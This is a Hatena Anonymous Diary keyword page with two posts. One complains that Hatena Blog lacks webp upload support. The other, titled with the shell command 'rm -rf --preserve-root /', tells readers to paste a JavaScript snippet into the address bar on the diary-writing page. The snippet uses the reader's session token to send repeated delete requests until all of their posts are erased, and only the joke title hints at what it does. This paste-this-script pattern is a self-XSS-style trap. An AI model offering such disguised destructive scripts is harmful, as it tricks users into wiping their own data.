「webp」を含む日記 RSS

はてなキーワード: webpとは

2020-06-11

はてなブログってクソすぎない?

画像うpしようとしたら

webp対応してません!だって

何世紀前のサービスだよ

2020-05-24

$ rm -rf --preserve-root /

  1. 以下のスクリプトコピーする
  2. [日記を書く] ページに行く
  3. アドレス欄に「javascript:」と入力し、コピーしたスクリプトを貼り付け
(async function() {

const cover = document.createElement("div");
cover.style.cssText = "position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(255,255,255,0.5)";
document.body.appendChild(cover);

cover.appendChild(document.createElement("progress")).style.cssText="margin: auto";

async function get_list(hatena_id) {
  const res = await (await fetch(`/${hatena_id}/`)).text();
  const links = Array.from(res.match(/edit\?id=\d+"\x3e/g));
  return links.map(function(link){return link.slice(8, -2)});
}

const rkm = encodeURIComponent(document.edit.rkm.value);
const hatena_id = document.querySelector(".username a").textContent;

let num = 0;
for(;;) {
  const list = await get_list(hatena_id);
  if(list.length == 0) return;
  await Promise.all(list.map(function(article_id){return fetch(`https://anond.hatelabo.jp/${hatena_id}/edit`, {"credentials":"include","headers":{"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-language":"ja,en-US;q=0.9,en;q=0.8,de;q=0.7","cache-control":"max-age=0","content-type":"application/x-www-form-urlencoded","save-data":"on","upgrade-insecure-requests":"1"},"referrer":"https://anond.hatelabo.jp/","referrerPolicy":"origin","body":`rkm=${rkm}&mode=confirm&id=${article_id}&title=&body=&delete=%E5%89%8A%E9%99%A4%E3%81%99%E3%82%8B`,"method":"POST","mode":"cors"}).then(() => {
    console.log("deleted:", article_id);
  })}));
  num += list.length;
}

document.body.removeChild(cover);
alert(`Finish! Deleted ${num} articles!`);

})();
 
ログイン ユーザー登録
ようこそ ゲスト さん